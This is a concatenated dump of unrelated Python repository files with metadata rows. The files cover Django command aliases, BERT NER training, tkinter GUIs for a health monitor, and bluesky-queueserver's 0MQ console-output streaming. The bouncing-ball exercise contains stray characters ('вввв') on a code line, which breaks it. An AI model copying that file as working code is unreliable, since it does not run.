print ('***Desing by @xcabezaderadiox***')
| [
"christianmontesdeoca89@yahoo.com.ar"
] | christianmontesdeoca89@yahoo.com.ar |
52cd7955d3433c7db048edb55152a09ae1c047f1 | d1a380bbf6e290edbb1b6ac62d4d9f8c0c8f80f1 | /django_shorts.py | e3ea9f278376d6929fb2db1515603b5ce78a2d0f | [
"MIT"
] | permissive | mhadiahmed/django-shorts | 6310bf12812fab2bd4283e50ec57416b473eeff4 | 3803992455bda14e7f20327d22583c6d064fe0aa | refs/heads/main | 2023-03-17T10:11:09.655564 | 2021-03-07T09:49:28 | 2021-03-07T09:49:28 | 345,284,896 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,096 | py | #!/usr/bin/env python
import os
import sys
from subprocess import call
ALIASES = {
# Django
'c' : 'collectstatic',
'r' : 'runserver',
'sd' : 'syncdb',
'sp' : 'startproject',
'sa' : 'startapp',
't' : 'test',
# Shell
'd' : 'dbshell',
's' : 'shell',
# Auth
'csu': 'createsuperuser',
'cpw': 'changepassword',
# South
'm' : 'migrate',
'mkm' : 'makemigrations',
# session
'cs' : 'clearsessions',
# # Haystack
# 'ix' : 'update_index',
# 'rix': 'rebuild_index',
# # Django Extensions
# 'sk' : 'generate_secret_key',
# 'rdb': 'reset_db',
# 'rp' : 'runserver_plus',
# 'shp': 'shell_plus',
# 'url': 'show_urls',
# 'gm' : 'graph_models',
# 'rs' : 'runscript'
}
def run(command=None, *arguments):
"""
Run the given command.
Parameters:
:param command: A string describing a command.
:param arguments: A list of strings describing arguments to the command.
"""
if command is None:
sys.exit('django-shorts: No argument was supplied, please specify one.')
if command in ALIASES:
command = ALIASES[command]
if command == 'startproject':
return call('django-admin.py startproject {}'.format(' '.join(arguments)), shell=True)
script_path = os.getcwd()
while not os.path.exists(os.path.join(script_path, 'manage.py')):
base_dir = os.path.dirname(script_path)
if base_dir != script_path:
script_path = base_dir
else:
sys.exit('django-shorts: No \'manage.py\' script found in this directory or its parents.')
a = {
'python': sys.executable,
'script_path': os.path.join(script_path, 'manage.py'),
'command': command or '',
'arguments': ' '.join(arguments)
}
return call('{python} {script_path} {command} {arguments}'.format(**a), shell=True)
def main():
"""Entry-point function."""
try:
sys.exit(run(*sys.argv[1:]))
except KeyboardInterrupt:
sys.exit()
if __name__ == '__main__':
main()
| [
"mhadiahmed63@gmail.com"
] | mhadiahmed63@gmail.com |
1c2f7517d5ae45640f9ae756f21f94d9b7a7b341 | 4effc8340c0377065c2b87a48522e699db9c45a2 | /models/bert_ner/main.py | 1494ee033b706ddf7f97d8dda9b06c6aaa12189a | [
"Apache-2.0"
] | permissive | SunYanCN/ChinNER | 5134f348d63af68ee3a28863ffa7188ce71535b2 | 9b224f5eb6b5f2d734b258405b5ff14e44a3b402 | refs/heads/master | 2020-06-03T00:03:27.647520 | 2019-06-26T08:11:10 | 2019-06-26T08:11:10 | 191,354,032 | 0 | 0 | Apache-2.0 | 2019-12-30T06:06:25 | 2019-06-11T11:03:48 | Python | UTF-8 | Python | false | false | 7,249 | py | import os
import tensorflow as tf
from .bert import modeling
from .model import model_fn_builder
from .data_helper import file_based_convert_examples_to_features
from .data_helper import file_based_input_fn_builder
from .data_helper import serving_fn_builder
from .data_helper import DataProcessor
tf.logging.set_verbosity(tf.logging.INFO)
flags = tf.flags
FLAGS = flags.FLAGS
FILE_HOME = os.path.abspath(os.path.dirname(__file__))
## Required parameters
flags.DEFINE_string(
"bert_config_file",
os.path.join(FILE_HOME, "./bert_models/chinese_L-12_H-768_A-12/bert_config.json"),
"The config json file corresponding to the pre-trained BERT model. "
"This specifies the model architecture.")
flags.DEFINE_string(
"vocab_file",
os.path.join(FILE_HOME, "./bert_models/chinese_L-12_H-768_A-12/vocab.txt"),
"The vocabulary file that the BERT model was trained on.")
flags.DEFINE_string(
"output_dir", os.path.join(FILE_HOME, "./output"),
"The output directory where the model checkpoints will be written.")
## Other parameters
flags.DEFINE_string(
"init_checkpoint", os.path.join(FILE_HOME, "./bert_models/chinese_L-12_H-768_A-12/bert_model.ckpt"),
"Initial checkpoint (usually from a pre-trained BERT model).")
flags.DEFINE_bool(
"do_lower_case", True,
"Whether to lower case the input text. Should be True for uncased "
"models and False for cased models.")
flags.DEFINE_integer(
"max_seq_length", 128,
"The maximum total input sequence length after WordPiece tokenization. "
"Sequences longer than this will be truncated, and sequences shorter "
"than this will be padded.")
flags.DEFINE_bool("use_crf", False, "Whether to use crf_layer")
flags.DEFINE_integer("batch_size", 32, "Total batch size for training.")
flags.DEFINE_float("learning_rate", 5e-5, "The initial learning rate for Adam.")
flags.DEFINE_integer("num_train_epochs", 3,
"Total number of training epochs to perform.")
flags.DEFINE_float(
"warmup_proportion", 0.1,
"Proportion of training to perform linear learning rate warmup for. "
"E.g., 0.1 = 10% of training.")
flags.DEFINE_integer("steps_check", 500, "steps per checkpoint")
flags.DEFINE_integer("steps_summary", 50, "steps per summary")
flags.DEFINE_integer("steps_logging", 50, "steps per summary")
def main(args):
from dataset.msra_ner import MSRA_NER
msra = MSRA_NER()
label_list = msra.get_labels()
train_examples = msra.get_train_examples()
dev_examples = msra.get_dev_examples()
test_examples = msra.get_test_examples()
from utils.sentence_cutter import segment_sentence
from collections import namedtuple
def example_preprocess(examples):
processed_examples = []
NERItemClass = namedtuple('NERItemClass',['text', 'label'])
for example in examples:
for item in segment_sentence(example.text, example.label):
processed_examples.append(NERItemClass(text=item[0], label=item[1]))
return processed_examples
train_examples = example_preprocess(train_examples)
dev_examples = example_preprocess(dev_examples)
test_examples = example_preprocess(test_examples)
num_train_steps = int(len(train_examples) / FLAGS.batch_size * FLAGS.num_train_epochs)
num_warmup_steps = int(num_train_steps * FLAGS.warmup_proportion)
bert_config = modeling.BertConfig.from_json_file(FLAGS.bert_config_file)
if FLAGS.max_seq_length > bert_config.max_position_embeddings:
raise ValueError(
"Cannot use sequence length %d because the BERT model "
"was only trained up to sequence length %d" %
(FLAGS.max_seq_length, bert_config.max_position_embeddings))
model_fn = model_fn_builder(
bert_config=bert_config,
num_labels=len(label_list),
init_checkpoint=FLAGS.init_checkpoint,
learning_rate=FLAGS.learning_rate,
num_train_steps=num_train_steps,
num_warmup_steps=num_warmup_steps,
use_crf=FLAGS.use_crf)
cfg = tf.estimator.RunConfig(save_checkpoints_steps=FLAGS.steps_check,
save_summary_steps=FLAGS.steps_summary,
log_step_count_steps=FLAGS.steps_logging)
estimator = tf.estimator.Estimator(model_fn=model_fn,
model_dir=FLAGS.output_dir,
params={"batch_size": FLAGS.batch_size},
config=cfg)
if not tf.gfile.Exists(FLAGS.output_dir):
tf.gfile.MakeDirs(FLAGS.output_dir)
data_processor = DataProcessor(vocab_file=FLAGS.vocab_file,
do_lower_case=FLAGS.do_lower_case,
label_list=label_list,
max_seq_length=FLAGS.max_seq_length)
data_processor.dump_to_file(os.path.join(FLAGS.output_dir, "data_processor.json"))
train_file = os.path.join(FLAGS.output_dir, "train.tf_record")
file_based_convert_examples_to_features(train_examples, data_processor, train_file)
train_input_fn = file_based_input_fn_builder(train_file, FLAGS.max_seq_length, True)
dev_file = os.path.join(FLAGS.output_dir, "dev.tf_record")
file_based_convert_examples_to_features(dev_examples, data_processor, dev_file)
dev_input_fn = file_based_input_fn_builder(dev_file, FLAGS.max_seq_length, False)
test_file = os.path.join(FLAGS.output_dir, "test.tf_record")
file_based_convert_examples_to_features(test_examples, data_processor, test_file)
test_input_fn = file_based_input_fn_builder(test_file, FLAGS.max_seq_length, False)
def evaluate_ner(examples, preds_output):
from utils.evaluate import evaluate_with_conlleval
texts = [example.text for example in examples]
golds = [example.label for example in examples]
preds = []
for idx, pred in enumerate(preds_output):
gold_length = len(golds[idx])
pred = [label_list[int(x)] for x in pred[1:gold_length+1]]
if gold_length != len(pred):
pred = pred + ["O" for _ in range(gold_length - len(pred))]
preds.append(pred)
eval_lines = evaluate_with_conlleval(texts, golds, preds,
os.path.join(FLAGS.output_dir, "ner_predict.txt"))
for line in eval_lines:
tf.logging.info(line)
for epoch_id in range(FLAGS.num_train_epochs):
tf.logging.info("================= epoch_id:{} =================".format(epoch_id))
estimator.train(input_fn=train_input_fn, max_steps=num_train_steps)
dev_preds_output = estimator.predict(input_fn=dev_input_fn)
evaluate_ner(dev_examples, dev_preds_output)
test_preds_output = estimator.predict(input_fn=test_input_fn)
evaluate_ner(test_examples, test_preds_output)
estimator.export_savedmodel(FLAGS.output_dir, serving_fn_builder(FLAGS.max_seq_length))
if __name__ == "__main__":
tf.app.run()
| [
"chin340823@163.com"
] | chin340823@163.com |
f6b28f22787ec511d9b652e833c2e15d3cb09928 | 275e770eaf9708e31d50dd62857fc52716e985af | /python/python/widget/oval progam.py | ff91cbe45a3d2fcd1111dcb9c0ae22b635ba724c | [
"MIT"
] | permissive | priyamshah112/Basic_Python | 75127744a6a25c72d2eba8e399e920509bd17ee2 | 11447cf062209de750fbe938402d738b1a5ff76c | refs/heads/master | 2021-10-10T15:43:50.151891 | 2019-01-13T13:46:40 | 2019-01-13T13:46:40 | 106,164,530 | 0 | 0 | null | 2018-10-10T19:07:16 | 2017-10-08T09:31:29 | Python | UTF-8 | Python | false | false | 182 | py | from tkinter import *
canvas_width = 190
canvas_height =150
master = Tk()
w = Canvas(master,width=canvas_width,height=canvas_height)
w.pack()
w.create_oval(50,50,100,100)
mainloop()
| [
"priyamshah112@gmail.com"
] | priyamshah112@gmail.com |
507a12221d7684eb3558eb0431518358aead4dab | 9c188c574bfc3856d06ed857979f049e873da246 | /my_module.py | fa07d1f7c127e82b16381189d28e4388f0b757f7 | [] | no_license | WoodySeven/chenjin1 | 21534b483e9c52fdcbfbe8221278172f98f46772 | 00a9adab8fda22f3808b80af704777a9e609b9f1 | refs/heads/master | 2021-08-31T13:42:57.056426 | 2017-12-21T14:41:28 | 2017-12-21T14:41:28 | 114,527,095 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 155 | py | #!/usr/bin/env python
from my_lib.sum import get_sum
a = int(input('请输入第一个数'))
b = int(input('请输入第二个数'))
print(get_sum(a,b)) | [
"277095144@qq.com"
] | 277095144@qq.com |
968098c7dda7c2b6a6bd7ac9f39b5b2d28b5879e | 79fcefd1a08c116aafae825023a7b6deb8fa8168 | /base raspberry pi/gui/icon.py | ffc4dce733b6a72c43d9b210b7fcd92ac4431f6e | [] | no_license | NeelamMahapatro/Health-Monitoring-System | abfe1b7e486bd14058a04393daa4e5ed22812a1e | fa19fcae9dd06465772e81ee0171ebf1016ff033 | refs/heads/master | 2020-04-14T23:06:44.713242 | 2019-01-05T05:48:10 | 2019-01-05T05:48:10 | 164,190,296 | 1 | 0 | null | 2019-10-21T18:03:59 | 2019-01-05T06:53:22 | Python | UTF-8 | Python | false | false | 2,603 | py | import tkinter as tk
import os
import sys
from PIL import Image, ImageTk
import random,string, time
import serial
def on_click_pbm():
print("destroy server py file")
os.system("sh kill_serverfile.sh")
time.sleep(2)
print("pbm clicked")
root.destroy()
os.system("python barplot_pbm.py")
def on_click_spo2():
print("destroy server py file")
os.system("sh kill_serverfile.sh")
time.sleep(2)
print("spo2 clicked")
root.destroy()
os.system("python barplot_spo2.py")
def on_click_temp():
print("destroy server py file")
os.system("sh kill_serverfile.sh")
time.sleep(2)
print("temp clicked")
root.destroy()
os.system("python barplot_temp.py")
def on_click_airflow():
print("destroy server py file")
os.system("sh kill_serverfile.sh")
time.sleep(2)
print("airflow clicked")
root.destroy()
os.system("python barplot_airflow.py")
def on_click(event=None):
print("image clicked")
def on_click_ecg():
button="active"
print("Not integrated")
def function():
root.destroy()
os.system("sh kill_serverfile.sh")
#os.system("sh kill_recvflag.py")
os.system("python index.py")
root = tk.Tk()
root.title('Live Plot')
root.geometry("300x250")
#root.geometry("250x200")
#root.configure(background="#D3D9D8")
image = Image.open("bp.png")
photo = ImageTk.PhotoImage(image)
l = tk.Label(root)
l.grid()
image1 = Image.open("spo2.png")
photo1 = ImageTk.PhotoImage(image1)
l1 = tk.Label(root)
l1.grid()
image2 = Image.open("temp.png")
photo2 = ImageTk.PhotoImage(image2)
l2 = tk.Label(root)
l2.grid()
image3 = Image.open("airflow.png")
photo3 = ImageTk.PhotoImage(image3)
l3 = tk.Label(root)
l3.grid()
image4 = Image.open("ecg.png")
photo4 = ImageTk.PhotoImage(image4)
l4 = tk.Label(root)
l4.grid()
b = tk.Button(root, image=photo, command=on_click_pbm, height=70, width=100)
b.grid(row=0,column=0)
b1 = tk.Button(root, image=photo1, command=on_click_spo2, height=70, width=100)
b1.grid(row=0,column=1)
b2 = tk.Button(root, image=photo2, command=on_click_temp, height=70, width=100)
b2.grid(row=0,column=2)
b3 = tk.Button(root, image=photo3, command=on_click_airflow, height=50, width=50)
b3.grid(row=1,column=0)
b4 = tk.Button(root, image=photo4, command=on_click_ecg, height=70, width=100)
b4.grid(row=1,column=1)
#l.bind('close', on_click)
#b5 = tk.Button(root, text="START RECORDING", command=readytosend, font=("bold", 10))
#b5.grid(row=3, column=0)
close = tk.Button(root, text="LOG OUT", command=function, font=("bold", 10))
close.grid(row=3,column=1)
root.mainloop()
| [
"neelammahapatro36@gmail.com"
] | neelammahapatro36@gmail.com |
b7fde50be4f8559075b8293bd79b33f8dec2210a | 070bba9190e27ef808997f3b0ad4d8de6de74ad4 | /balls.py | 356935dd680514c50469f87f2c174b934e8ad602 | [] | no_license | Vazexon/Codewars | 7452d63614b0ec7dd3ea6008c09509bf0a9eb18f | cdd7dc5de040798349537acf272232427a4b99d8 | refs/heads/main | 2023-02-24T14:31:32.930735 | 2021-02-05T20:36:03 | 2021-02-05T20:36:03 | 336,352,511 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 353 | py | def bouncing_ball(h, bounce, window):
if h > 0 and 0 <= bounce < 1 and window < h:
falls = 0
while h > window:
h = h * bounce
falls += 1
app = falls + (falls - 1)вввв
return app
else:
return -1
print(bouncing_ball(2, 0.5, 1))
print(bouncing_ball(3, 0.66, 1.5))
| [
"noreply@github.com"
] | Vazexon.noreply@github.com |
b5efb434ce77703458f8740d6c14df96fcb10dec | da0e2a4170e41df9ab982abd4a9a9161453359b3 | /bluesky_queueserver/manager/output_streaming.py | 4eca1b9f34e40a3e3a1ca51e023ce119e8276286 | [
"BSD-3-Clause"
] | permissive | bluesky/bluesky-queueserver | a6da30e39cf63b5a5f6b8ed0d5925b255acb38bb | f7d489f01e73451b366eb8ee64a60a1a6aaeb695 | refs/heads/main | 2023-08-31T14:32:22.350524 | 2023-08-18T17:20:29 | 2023-08-18T17:20:29 | 228,529,527 | 11 | 20 | BSD-3-Clause | 2023-09-11T22:35:57 | 2019-12-17T04:02:01 | Python | UTF-8 | Python | false | false | 24,735 | py | import argparse
import asyncio
import inspect
import io
import json
import logging
import os
import sys
import threading
import time as ttime
import zmq
import bluesky_queueserver
logger = logging.getLogger(__name__)
qserver_version = bluesky_queueserver.__version__
default_zmq_info_address_for_server = "tcp://*:60625"
default_zmq_info_address = "tcp://localhost:60625"
class ConsoleOutputStream(io.TextIOBase):
"""
Class that implements writable text file object that collects printed console messages
and adds timestamps to messages and adds the message to the queue. The messages are
dictionaries in the form ``{"time": <timestamp>, "msg": <printed text>}.
Parameters
----------
msg_queue : multiprocessing.Queue
Reference to the queue used for collecting messages.
"""
def __init__(self, *, msg_queue):
super().__init__()
self._msg_queue = msg_queue
self._stdout = sys.__stdout__
def write(self, s):
"""
Overrides the method of ``io.TextIOBase``.
"""
s = str(s)
msg = {"time": ttime.time(), "msg": s}
self._msg_queue.put(msg)
return len(s)
def redirect_output_streams(file_obj):
"""
Override the default output streams with custom file object.
The object may be an instance of ``ConsoleOutputStream``.
Parameters
----------
file_obj : ConsoleOutputStream
Reference for the open writable file object (text output).
"""
sys.stdout = file_obj
sys.stderr = file_obj
def setup_console_output_redirection(msg_queue):
"""
Set up redirection of console output. If ``msg_queue`` is ``None``, then do nothing.
Parameters
----------
msg_queue : multiprocessing.Queue
Queue that is used to collect console output messages.
"""
if msg_queue:
fobj = ConsoleOutputStream(msg_queue=msg_queue)
redirect_output_streams(fobj)
# Disable 'colorama' (used by Bluesky). We don't need it in Queue Server.
# Colorama overrides 'sys.stdout' and interferes with capturing console output.
def do_nothing(*args, **kwargs):
...
try:
import colorama
colorama.init = do_nothing
colorama.reinit = do_nothing
except Exception:
pass
_default_zmq_console_topic = "QS_Console"
class PublishConsoleOutput:
"""
The class that is publishing the collected console output messages to 0MQ socket.
The queue is expected to be filled with messages in the format
``{"time": <timestamp>, "msg": <text message>}``. The object of the class
receives the reference to the queue during initialization. The collected messages
are published as they are added to the queue. The messages may be collected
in multiple processes.
Parameters
----------
msg_queue : multiprocessing.Queue
Reference to the queue object, used for collecting of the output messages.
The messages added to the queue will be automatically published to 0MQ socket.
console_output_on : boolean
Enable/disable printing console output to the terminal
zmq_publish_on : boolean
Enable/disable publishing console output to 0MQ socket
zmq_publish_addr : str, None
Address of 0MQ PUB socket for the publishing server. If ``None``, then
the default address ``tcp://*:60625`` is used.
zmq_topic : str
Name of the 0MQ topic where the messages are published.
name : str
Name of the thread where the messages are published.
"""
def __init__(
self,
*,
msg_queue,
console_output_on=True,
zmq_publish_on=True,
zmq_publish_addr=None,
zmq_topic=_default_zmq_console_topic,
name="RE Console Output Publisher",
):
self._thread_running = False # Set True to exit the thread
self._thread_name = name
self._msg_queue = msg_queue
self._polling_timeout = 0.1 # in sec.
self._console_output_on = console_output_on
self._zmq_publish_on = zmq_publish_on
zmq_publish_addr = zmq_publish_addr or default_zmq_info_address_for_server
self._zmq_publish_addr = zmq_publish_addr
self._zmq_topic = zmq_topic
self._socket = None
if self._zmq_publish_on:
try:
context = zmq.Context()
self._socket = context.socket(zmq.PUB)
self._socket.bind(self._zmq_publish_addr)
except Exception as ex:
logger.error(
"Failed to create 0MQ socket at %s. Console output will not be published. Exception: %s",
self._zmq_publish_addr,
ex,
)
if self._socket and self._zmq_publish_on:
logging.info("Publishing console output to 0MQ socket at %s", zmq_publish_addr)
def start(self):
"""
Start thread polling the queue.
"""
self._start_processing_thread()
def stop(self):
"""
Stop thread that polls the queue (and exit the tread)
"""
self._thread_running = False
def __del__(self):
self.stop()
if self._socket:
self._socket.close()
def _start_processing_thread(self):
# The thread should not be started of Message Queue object does not exist
if not self._thread_running and self._msg_queue:
self._thread_running = True
self._thread_conn = threading.Thread(
target=self._publishing_thread, name=self._thread_name, daemon=True
)
self._thread_conn.start()
def _publishing_thread(self):
while True:
try:
msg = self._msg_queue.get(block=True, timeout=self._polling_timeout)
self._publish(msg)
except Exception:
pass
if not self._thread_running: # Exit thread
break
def _publish(self, payload):
if self._console_output_on:
sys.__stdout__.write(payload["msg"])
sys.__stdout__.flush()
if self._zmq_publish_on and self._socket:
topic = self._zmq_topic
payload_json = json.dumps(payload)
self._socket.send_multipart([topic.encode("ascii"), payload_json.encode("utf8")])
class ReceiveConsoleOutput:
"""
The class allows to subscribe to published 0MQ messages and read the messages one by
one as they arrive. Subscription is performed using the remote 0MQ address and topic.
The class provides blocking (with timeout) ``recv()`` method that waits for the next
published message. The following example contains the code illustrating using the class.
In real-world application the loop will be running in a separate thread and generating
callbacks on each received message.
The ``subscribe()`` and ``unsubscribe()`` methods allow to explicitly subscribe and
unsubscribe the socket to the topic. The messages published while the socket is unsubscribed
are discarded. First call to ``recv()`` method automatically subscribes the socket.
.. code-block:: python
from bluesky_queueserver import ReceiveConsoleOutput
zmq_subscribe_addr = "tcp://localhost:60625"
rco = ReceiveConsoleOutput(zmq_subscribe_addr=zmq_subscribe_addr)
while True:
try:
payload = rco.recv()
time, msg = payload.get("time", None), payload.get("msg", None)
# In this example the messages are printed in the terminal.
sys.stdout.write(msg)
sys.stdout.flush()
except TimeoutError:
# Timeout does not mean communication error!!!
# Insert the code that needs to be executed on timeout (if any).
pass
# Place for the code that should be executed after receiving each
# message or after timeout (e.g. check a condition and exit
# the loop once the condition is satisfied).
Parameters
----------
zmq_subscribe_addr : str or None
Address of ZMQ server (PUB socket). If None, then the default address is
``tcp://localhost:60625`` is used.
zmq_topic : str
0MQ topic for console output. Only messages from this topic are going to be received.
timeout : int, float or None
Timeout for the receive operation in milliseconds. If `None`, then wait
for the message indefinitely.
"""
def __init__(self, *, zmq_subscribe_addr=None, zmq_topic=_default_zmq_console_topic, timeout=1000):
self._timeout = timeout # Timeout for 'recv' operation (ms)
zmq_subscribe_addr = zmq_subscribe_addr or default_zmq_info_address
logger.info("Subscribing to console output stream from 0MQ address: %s ...", zmq_subscribe_addr)
logger.info("Subscribing to 0MQ topic: '%s' ...", zmq_topic)
self._zmq_subscribe_addr = zmq_subscribe_addr
self._zmq_topic = zmq_topic
self._socket = None
self._socket_subscribed = False
if self._zmq_subscribe_addr:
context = zmq.Context()
self._socket = context.socket(zmq.SUB)
self._socket.connect(self._zmq_subscribe_addr)
def subscribe(self):
"""
Subscribe 0MQ socket to the console output topic. Once the socket is subscribed,
the published messages are cached by 0MQ and could be loaded with ``recv()`` method.
The function does nothing if the socket is already subscribed.
"""
if self._socket and not self._socket_subscribed:
self._socket.subscribe(self._zmq_topic)
self._socket_subscribed = True
def unsubscribe(self):
"""
Unsubscribe 0MQ socket from the console output topic. Once the socket is unsubscribed,
all published messages are discarded.
"""
if self._socket and self._socket_subscribed:
self._socket.unsubscribe(self._zmq_topic)
self._socket_subscribed = False
def recv(self, timeout=-1):
"""
Get the next published message. The function subscribes the socket to 0MQ topic
if the socket is not already subscribed. If timeout expires then ``TimeoutError``
is raised.
Parameters
----------
timeout : int, float or None
Timeout for the receive operation in milliseconds. If timeout is
a negative number (default), the timeout value passed to the class
constructor is used. If `None`, then wait indefinitely.
Returns
-------
dict
Received message. The dictionary contains timestamp (``time`` key)
and text message (``msg`` key).
Raises
------
TimeoutError
Timeout occurred. Timeout does not indicate communication error.
"""
if (timeout is not None) and (timeout < 0):
timeout = self._timeout
# Subscribe the socket to the topic if it is not already subscribed
self.subscribe()
if not self._socket.poll(timeout=timeout):
raise TimeoutError("No message received during timeout period {timeout} ms")
topic, payload_json = self._socket.recv_multipart()
payload_json = payload_json.decode("utf8", "strict")
payload = json.loads(payload_json)
return payload
def __del__(self):
self._socket.close()
class ReceiveConsoleOutputAsync:
"""
Async version of ``ReceiveConsoleOutput`` class. There are two ways to use the class:
explicitly awaiting for the ``recv`` function (same as in ``ReceiveConsoleOutput``)
or setting up a callback function (plain function or coroutine).
The ``subscribe()`` and ``unsubscribe()`` methods allow to explicitly subscribe and
unsubscribe the socket to the topic. The messages published while the socket is unsubscribed
are discarded. Calls to ``recv()`` and ``start()`` methods always subscribe the socket,
``stop()`` method unsubscribes the socket unless called with ``unsubscribe=False``.
Explicitly awaiting ``recv`` function:
.. code-block:: python
from bluesky_queueserver import ReceiveConsoleOutputAsync
zmq_subscribe_addr = "tcp://localhost:60625"
rco = ReceiveConsoleOutputAsync(zmq_subscribe_addr=zmq_subscribe_addr)
async def run_acquisition():
while True:
try:
payload = await rco.recv()
time, msg = payload.get("time", None), payload.get("msg", None)
# In this example the messages are printed in the terminal.
sys.stdout.write(msg)
sys.stdout.flush()
except TimeoutError:
# Timeout does not mean communication error!!!
# Insert the code that needs to be executed on timeout (if any).
pass
# Place for the code that should be executed after receiving each
# message or after timeout (e.g. check a condition and exit
# the loop once the condition is satisfied).
# Subscribe to start caching messages. Calling 'recv()' also subscribes the socket.
rco.subscribe()
asyncio.run(run_acquisition())
# Unsubscribe to discard all new messages
rco.unsubscribe()
Setting up callback function or coroutine (awaitable function):
.. code-block:: python
from bluesky_queueserver import ReceiveConsoleOutputAsync
zmq_subscribe_addr = "tcp://localhost:60625"
rco = ReceiveConsoleOutputAsync(zmq_subscribe_addr=zmq_subscribe_addr)
async def cb_coro(payload):
time, msg = payload.get("time", None), payload.get("msg", None)
# In this example the messages are printed in the terminal.
sys.stdout.write(msg)
sys.stdout.flush()
rco.set_callback(cb_coro)
async def run_acquisition():
rco.start()
# Do something useful here, e.g. sleep
asyncio.sleep(60)
rco.stop()
# Acquisition can be started and stopped multiple time if necessary
rco.start()
asyncio.sleep(60)
rco.stop()
asyncio.run(run_acquisition())
.. note::
If callback is a plain function, it is executed immediately after the message is received
and may potentially block the loop if it takes too long to complete (even occasionally).
If the callback is a coroutine, it is not awaited, but instead placed in the loop
(with ``ensure_future``), so acquisition of messages will continue. Typically the callback
will do a simple operation such as adding the received message to the queue.
Parameters
----------
zmq_subscribe_addr : str or None
Address of ZMQ server (PUB socket). If None, then the default address is
``tcp://localhost:60625`` is used.
zmq_topic : str
0MQ topic for console output. Only messages from this topic are going to be received.
timeout : int, float or None
Timeout for the receive operation in milliseconds. If `None`, then wait
for the message indefinitely.
"""
def __init__(self, *, zmq_subscribe_addr=None, zmq_topic=_default_zmq_console_topic, timeout=1000):
self._timeout = timeout # Timeout for 'recv' operation (ms)
zmq_subscribe_addr = zmq_subscribe_addr or "tcp://localhost:60625"
self._callback = None # Function that is awaited once a message is received from RE Manager
self._exit = False
self._is_running = False
logger.info("Subscribing to console output stream from 0MQ address: %s ...", zmq_subscribe_addr)
logger.info("Subscribing to 0MQ topic: '%s' ...", zmq_topic)
self._zmq_subscribe_addr = zmq_subscribe_addr
self._zmq_topic = zmq_topic
self._socket = None
self._socket_subscribed = False
self._unsubscribe_when_stopping = False
if self._zmq_subscribe_addr:
context = zmq.asyncio.Context()
self._socket = context.socket(zmq.SUB)
self._socket.connect(self._zmq_subscribe_addr)
def subscribe(self):
"""
Subscribe 0MQ socket to the console output topic. Once the socket is subscribed,
the published messages are cached by 0MQ and could be loaded with ``recv()`` method.
The function does nothing if the socket is already subscribed.
"""
if self._socket and not self._socket_subscribed:
self._socket.subscribe(self._zmq_topic)
self._socket_subscribed = True
def unsubscribe(self):
"""
Unsubscribe 0MQ socket from the console output topic. Once the socket is unsubscribed,
all published messages are discarded.
"""
if self._socket and self._socket_subscribed:
self._socket.unsubscribe(self._zmq_topic)
self._socket_subscribed = False
def set_callback(self, cb):
"""
Set callback function, which is called once for each received message. If ``cb`` is
a function, it is called immediately and execution of the loop is blocked until the
execution of the function is complete. If ``cb`` is coroutine, it is not awaited, but
instead placed in the loop using ``asyncio.ensure_future``. Only one callback function
can be set.
Parameters
----------
cb : callable, coroutine or None
Reference to a callback function or coroutine. The function signature is expected
to receive a message as a parameter (message is a dictionary with keys ``time`` and ``msg``)
and return ``None``. The function is expected to handle exceptions that are raised
internally. Pass ``None`` to clear callback (messages will be received and discarded).
"""
self._callback = cb
async def recv(self, timeout=-1):
"""
Get the next published message. If timeout expires then ``TimeoutError`` is raised.
If the socket is not subscribed to to topic, then subscribes the socket.
Parameters
----------
timeout : int, float or None
Timeout for the receive operation in milliseconds. If timeout is
a negative number (default), the timeout value passed to the class
constructor is used. If `None`, then wait indefinitely.
Returns
-------
dict
Received message. The dictionary contains timestamp (``time`` key)
and text message (``msg`` key).
Raises
------
TimeoutError
Timeout occurred. Timeout does not indicate communication error.
"""
if (timeout is not None) and (timeout < 0):
timeout = self._timeout
# Subscribe the socket to the topic if it is not already subscribed
self.subscribe()
if not await self._socket.poll(timeout=timeout):
raise TimeoutError("No message received during timeout period {timeout} ms")
topic, payload_json = await self._socket.recv_multipart()
payload_json = payload_json.decode("utf8", "strict")
payload = json.loads(payload_json)
return payload
async def _recv_next_message(self):
try:
payload = await self.recv()
if self._callback:
if inspect.iscoroutinefunction(self._callback):
asyncio.ensure_future(self._callback(payload))
else:
self._callback(payload)
except TimeoutError:
pass
except Exception as ex:
logger.exception(
"Exception occurred while while waiting for RE Manager console output message: %s", ex
)
if not self._exit:
asyncio.ensure_future(self._recv_next_message())
else:
if self._unsubscribe_when_stopping:
self.unsubscribe()
self._is_running = False
def start(self):
"""
Start collection of messages published by RE Manager. Collection may be started and stopped
multiple times during a session. Repeated calls to the ``start`` method are ignored.
The function MUST be called from the event loop. The method always subscribes the socket.
"""
self._exit = False
if not self._is_running:
self._is_running = True
self.subscribe()
asyncio.ensure_future(self._recv_next_message())
def stop(self, *, unsubscribe=True):
"""
Stop collection of messages published by RE Manager. Call to ``stop`` method unsubscribes
the client from 0MQ topic, therefore all the messages published until collection is started
are ignored. The function MUST be called from the event loop.
Parameters
----------
unsubscribe: boolean (optional)
Unsubscribe the socket if ``True`` (default), otherwise leave the socket subscribed.
"""
self._unsubscribe_when_stopping = unsubscribe
self._exit = True
def __del__(self):
self.stop()
if self._socket:
self._socket.close()
def qserver_console_monitor_cli():
"""
CLI tool for remote monitoring of console output from RE Manager. The function is also
expected to be used as an example of using ``ReceiveConsoleOutput`` class.
"""
logging.basicConfig(level=logging.WARNING)
logging.getLogger("bluesky_queueserver").setLevel("INFO")
def formatter(prog):
# Set maximum width such that printed help mostly fits in the RTD theme code block (documentation).
return argparse.RawDescriptionHelpFormatter(prog, max_help_position=20, width=90)
parser = argparse.ArgumentParser(
description="Queue Server Console Monitor:\nCLI tool for remote monitoring of console output "
f"published by RE Manager.\nbluesky-queueserver version {qserver_version}\n",
formatter_class=formatter,
)
parser.add_argument(
"--zmq-info-addr",
dest="zmq_info_addr",
type=str,
default=None,
help="The address of RE Manager socket used for publishing console output. The parameter overrides "
"the address set using QSERVER_ZMQ_INFO_ADDRESS environment variable. The default value is used "
"if the address is not set using the parameter or the environment variable. Address format: "
f"'tcp://127.0.0.1:60625' (default: {default_zmq_info_address}).",
)
parser.add_argument(
"--zmq-subscribe-addr",
dest="zmq_subscribe_addr",
type=str,
default=None,
help="The parameter is deprecated and will be removed. Use --zmq-info-addr instead.",
)
args = parser.parse_args()
zmq_info_addr = args.zmq_info_addr
if args.zmq_subscribe_addr is not None:
logger.warning(
"The parameter --zmq-subscribe-addr is deprecated and will be removed. Use --zmq-info-addr instead."
)
